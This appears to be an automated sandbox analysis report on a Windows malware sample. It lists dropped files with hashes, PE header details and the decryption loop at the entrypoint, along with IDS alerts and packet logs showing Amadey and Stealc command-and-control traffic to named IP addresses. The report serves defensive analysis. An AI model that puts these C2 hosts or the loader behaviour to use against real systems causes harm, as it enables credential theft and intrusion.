SSDEEP:	49152:AKbOKWc0NUys723omzuVp7UxIZ3OxIQPdir6yfCVCDuIHZV+/F93p+o0HGDEn:A3E0NUyM2pzuT7UxIZ3O/PdiWyqMDhHx
MD5:	0F8B01FCE87324B3C2E7FA5964AE96CF
SHA1:	CD0126CC397C04E8DBC75D488298C2C8B6D4ADB2
SHA-256:	420A0AFEF2B1CA0BECBA2405377EE528CC5D1E6D903EAC4E59DE97B1AC22CA86
SHA-512:	C643BFFEEE45D14B6724D1B240328714440BF80959C7922A11715CBD3D7172723035A72348E079ECA7EDEC62B8A62DAE84185A16B4E0F1FB5A016D1AC4E6933A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 53%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.dZ............a.......a.......a...5...............................Z...a.......a.......Rich............................PE..L.....uf......................!...................@.......................................@... .. .... .. .......... .................................................................................................................................................................@....................@..................@............0!..@......................@............P...p#.. ..................@.............y...#..(..................@....data.....".......!..4..............@...........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\j7iUba2bki.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\j7iUba2bki.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2502656
Entropy (8bit):	7.986181645323356
Encrypted:	false
SSDEEP:	49152:AKbOKWc0NUys723omzuVp7UxIZ3OxIQPdir6yfCVCDuIHZV+/F93p+o0HGDEn:A3E0NUyM2pzuT7UxIZ3O/PdiWyqMDhHx
MD5:	0F8B01FCE87324B3C2E7FA5964AE96CF
SHA1:	CD0126CC397C04E8DBC75D488298C2C8B6D4ADB2
SHA-256:	420A0AFEF2B1CA0BECBA2405377EE528CC5D1E6D903EAC4E59DE97B1AC22CA86
SHA-512:	C643BFFEEE45D14B6724D1B240328714440BF80959C7922A11715CBD3D7172723035A72348E079ECA7EDEC62B8A62DAE84185A16B4E0F1FB5A016D1AC4E6933A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 53%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.dZ............a.......a.......a...5...............................Z...a.......a.......Rich............................PE..L.....uf......................!...................@.......................................@... .. .... .. .......... .................................................................................................................................................................@....................@..................@............0!..@......................@............P...p#.. ..................@.............y...#..(..................@....data.....".......!..4..............@...........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe

Download File

Process:	C:\Users\user\Desktop\j7iUba2bki.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1886720
Entropy (8bit):	7.949347566119806
Encrypted:	false
SSDEEP:	24576:BynzkwhRYnh7x4g/h+mXY1crqM5Nd/PDkbRWAl4UGEmZpQSpRCoMLUpLzTaEDV6:BfwvYnFx7/hJq+HDMh4UfmZOSp4k3rD
MD5:	D9ED33D1C80ADAF29B8C2A8A14731B07
SHA1:	57B4D9E5E7B3112729E0D7B43F7FB4DA919C55B3
SHA-256:	B261759D98B0FE7F3FD94BE8862F19BEA2EDA291A75D371D1564A8CEDD12921C
SHA-512:	09EB97B3BE1AD62AA6DECEAB041C494AB9EB6D82C91CC35DA90D95A2F2CC798AD448D612CF801AB91B147257C0365A2FA4F6762F29FA8A569670CE43264CD363
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L.....af..............................J...........@.......................... K..........@.................................X...l...........................d.J...............................J..................................................... . ............................@....rsrc...............................@....idata ............................@... ..*.........................@...mdtpgpto.....01.....................@...kfneekep......J.....................@....taggant.0....J.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1886720
Entropy (8bit):	7.949347566119806
Encrypted:	false
SSDEEP:	24576:BynzkwhRYnh7x4g/h+mXY1crqM5Nd/PDkbRWAl4UGEmZpQSpRCoMLUpLzTaEDV6:BfwvYnFx7/hJq+HDMh4UfmZOSp4k3rD
MD5:	D9ED33D1C80ADAF29B8C2A8A14731B07
SHA1:	57B4D9E5E7B3112729E0D7B43F7FB4DA919C55B3
SHA-256:	B261759D98B0FE7F3FD94BE8862F19BEA2EDA291A75D371D1564A8CEDD12921C
SHA-512:	09EB97B3BE1AD62AA6DECEAB041C494AB9EB6D82C91CC35DA90D95A2F2CC798AD448D612CF801AB91B147257C0365A2FA4F6762F29FA8A569670CE43264CD363
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L.....af..............................J...........@.......................... K..........@.................................X...l...........................d.J...............................J..................................................... . ............................@....rsrc...............................@....idata ............................@... ..*.........................@...mdtpgpto.....01.....................@...kfneekep......J.....................@....taggant.0....J.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\j7iUba2bki.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\j7iUba2bki.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Tasks\explorti.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe
File Type:	data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	3.481688259260426
Encrypted:	false
SSDEEP:	6:B5FZXUG5ZsUEZ+lX1QYShMl6lm6tFXqYEp5t/uy0lqsEt0:BNYQ13vgxfXVAt0
MD5:	34CDC1C614BA20F91895238DEE6D4031
SHA1:	86F8C0AF3685B3B9F4A7540712D42519B19F509E
SHA-256:	69389584219DBE330680D91E8B4DD1D7CA58C30B462FF004EE19DEDB93FF3E48
SHA-512:	D1CF3B62B4879698D7A41C55EF66E2B4DCECEBD1F719BE022BD97DEF04D6E8B87823831D5E80BD3E5D91C18512D8544A51B443F7FE69274678449D58F0B02FE2
Malicious:	false
Preview:	......+....K.`......F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.d.4.0.9.7.1.b.6.b.\.e.x.p.l.o.r.t.i...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0.................%.@3P.........................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.418959744759825
Encrypted:	false
SSDEEP:	6144:2Svfpi6ceLP/9skLmb0OTMWSPHaJG8nAgeMZMMhA2fX4WABlEnNd0uhiTw:VvloTMW+EZMM6DFyn03w
MD5:	5C66453C129C70C87BF279CC94BE5DF3
SHA1:	385F229FFEE88D04C058D190D7B767C340C41FC8
SHA-256:	97FADC33892D418E33B9E18AC9586591FD7D84406F3F5161BD337514B122B4F2
SHA-512:	A1FE7E0423B238EC4B219415A39820E33609D96E98138E5B5C6EA25C42B6D2761C9CB510CD7D3BB8F02B6627B893D14DF78E27220269474870C7E125B0E5AFF8
Malicious:	false
Preview:	regf>...>....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.m[aO................................................................................................................................................................................................................................................................................................................................................^MU........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.986181645323356
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	j7iUba2bki.exe
File size:	2'502'656 bytes
MD5:	0f8b01fce87324b3c2e7fa5964ae96cf
SHA1:	cd0126cc397c04e8dbc75d488298c2c8b6d4adb2
SHA256:	420a0afef2b1ca0becba2405377ee528cc5d1e6d903eac4e59de97b1ac22ca86
SHA512:	c643bffeee45d14b6724d1b240328714440bf80959c7922a11715cbd3d7172723035a72348e079eca7edec62b8a62dae84185a16b4e0f1fb5a016d1ac4e6933a
SSDEEP:	49152:AKbOKWc0NUys723omzuVp7UxIZ3OxIQPdir6yfCVCDuIHZV+/F93p+o0HGDEn:A3E0NUyM2pzuT7UxIZ3O/PdiWyqMDhHx
TLSH:	84C53312F856DDADC59F3C329FCDEA851811E9FC787EAE48BD4056C8C51A0D22DE218E
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.dZ............a.......a.......a...5...............................Z...a.......a.......Rich............................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xfea604
Entrypoint Section:	.data
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6675FA89 [Fri Jun 21 22:11:21 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	001806c33a6e9fe5fbff34bdbd79b591

Entrypoint Preview

Instruction
jmp 00007FE5D483790Ah
add byte ptr [esp+eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax-18h], ah
add byte ptr [eax], al
add byte ptr [eax], al
pop ebp
sub ebp, 00000010h
sub ebp, 00BEA604h
jmp 00007FE5D4837909h
ror ebx, 40h
or bh, byte ptr [eax+00BEA604h]
add eax, ebp
add eax, 0000004Ch
mov ecx, 000005B5h
mov edx, 33BCB9F7h
xor byte ptr [eax], dl
inc eax
dec ecx
jne 00007FE5D48378FCh
jmp 00007FE5D4837909h
cmp eax, 7CFD93F5h
cmp bh, byte ptr [esi+edi*2-35h]
div edi
div dword ptr [esi+36h]
maskmovq mm6, mm7
div esp
cmp cl, byte ptr [edi-0Dh]
div edi
test dword ptr [ebp-21h], 00F7F7F7h
adc eax, 767C3FF4h
sti
div edi
div esp
xor bh, byte ptr [edx-6Dh]
ror dword ptr [ebx], cl
jle 00007FE5D48378F5h
sar dword ptr [edx-6Dh], cl
ror dword ptr [ebx], cl
jle 00007FE5D48378F5h
rcr dword ptr [edi-08298B7Dh], cl
lahf
jns 00007FE5D48378D7h
push FFFFFFF7h
neg bl
rcr dword ptr [edi+1F6CAFD0h], cl
pop ds
div edi
neg dword ptr [esi]
fcomip st(0), st(7)
div edi
mov byte ptr [727C1B7Ch], al
push edi
div edi
jl 00007FE5D4837964h
sti
div edi
idiv dword ptr [edx+edi*2-19h]
div edi
div dword ptr [esi]
push ds
cmc

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x9cf020	0xcbf	.data
IMAGE_DIRECTORY_ENTRY_IMPORT	0x9cfce0	0x20c	.data
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x9cf000	0xc	.data
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x1b000	0xa400	f63cddbc01d26331dec5ac92af294052	False	0.9995236280487805	Dyalog APL version 123.-75	7.995383032765701	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x1c000	0x8000	0x4000	a1704d965baa6ac6d0c91c1832597dc0	False	0.99383544921875	data	7.978281909910607	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24000	0x213000	0x400	ab09aac8f21a34c405dff4dd3efa3fb3	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x237000	0x5000	0x2000	24e1597d1ba4e22689dcf748c5260e49	False	0.98974609375	data	7.953438671487356	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x23c000	0x790000	0x32800	73df7ea687062bd81ee00716069be98f	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.data	0x9cc000	0x220000	0x21fc00	98b27b63410d82f47919ebeb77ba3742	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	GetModuleHandleA, GetProcAddress, ExitProcess, LoadLibraryA
user32.dll	MessageBoxA
advapi32.dll	RegCloseKey
oleaut32.dll	SysFreeString
gdi32.dll	CreateFontA
shell32.dll	ShellExecuteA
version.dll	GetFileVersionInfoA
msvcrt.dll	strncpy

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
06/28/24-13:36:22.192963	TCP	2856147	ETPRO TROJAN Amadey CnC Activity M3	49720	80	192.168.2.5	77.91.77.82
06/28/24-13:35:57.457221	TCP	2044246	ET TROJAN Win32/Stealc Requesting plugins Config from C2	49705	80	192.168.2.5	85.28.47.4
06/28/24-13:35:57.637480	TCP	2051831	ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	80	49705	85.28.47.4	192.168.2.5
06/28/24-13:36:23.078426	TCP	2856122	ETPRO TROJAN Amadey CnC Response M1	80	49720	77.91.77.82	192.168.2.5
06/28/24-13:35:57.264865	TCP	2044244	ET TROJAN Win32/Stealc Requesting browsers Config from C2	49705	80	192.168.2.5	85.28.47.4
06/28/24-13:35:56.599132	TCP	2044243	ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in	49705	80	192.168.2.5	85.28.47.4
06/28/24-13:35:57.445880	TCP	2051828	ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1	80	49705	85.28.47.4	192.168.2.5

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 28, 2024 13:35:56.589289904 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:56.598901987 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:56.599008083 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:56.599132061 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:56.604764938 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:57.263076067 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:57.263274908 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:57.264864922 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:57.269870043 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:57.445879936 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:57.445997953 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:57.446341038 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:57.446388006 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:57.457221031 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:57.462099075 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:57.637480021 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:57.637492895 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:57.637502909 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:57.637512922 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:57.637522936 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:57.637535095 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:57.637559891 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:57.637608051 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:57.639055967 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:57.644557953 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:57.936094999 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:57.936204910 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:57.966171026 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:57.966269016 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:57.971066952 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:57.971148014 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:57.971298933 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:57.971395016 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:57.971404076 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:57.971411943 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:57.972037077 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:58.686709881 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:58.686799049 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:58.964443922 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:58.973798990 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.147897005 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.147912979 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.147922993 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.147974014 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.148066044 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.148088932 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.148139000 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.148190022 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.148233891 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.148308992 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.148343086 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.148354053 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.148355007 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.148405075 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.148812056 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.148863077 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.148885012 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.148895025 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.148931026 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.148988962 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.149035931 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.149740934 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.149791002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.149791956 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.149827003 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.230206966 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.230257988 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.230268955 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.230278969 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.230324030 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.230324030 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.230393887 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.230437994 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.230474949 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.230485916 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.230536938 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.230536938 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.230591059 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.230601072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.230643034 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.237977028 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.238034010 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.238044024 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.238050938 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.238079071 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.238107920 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.238185883 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.238234997 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.238251925 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.238264084 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.238293886 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.238323927 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.238379002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.238389969 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.238430977 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.239028931 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.239087105 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.239098072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.239118099 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.239150047 CEST	49705	80	192.168.2.5	85.28.47.4
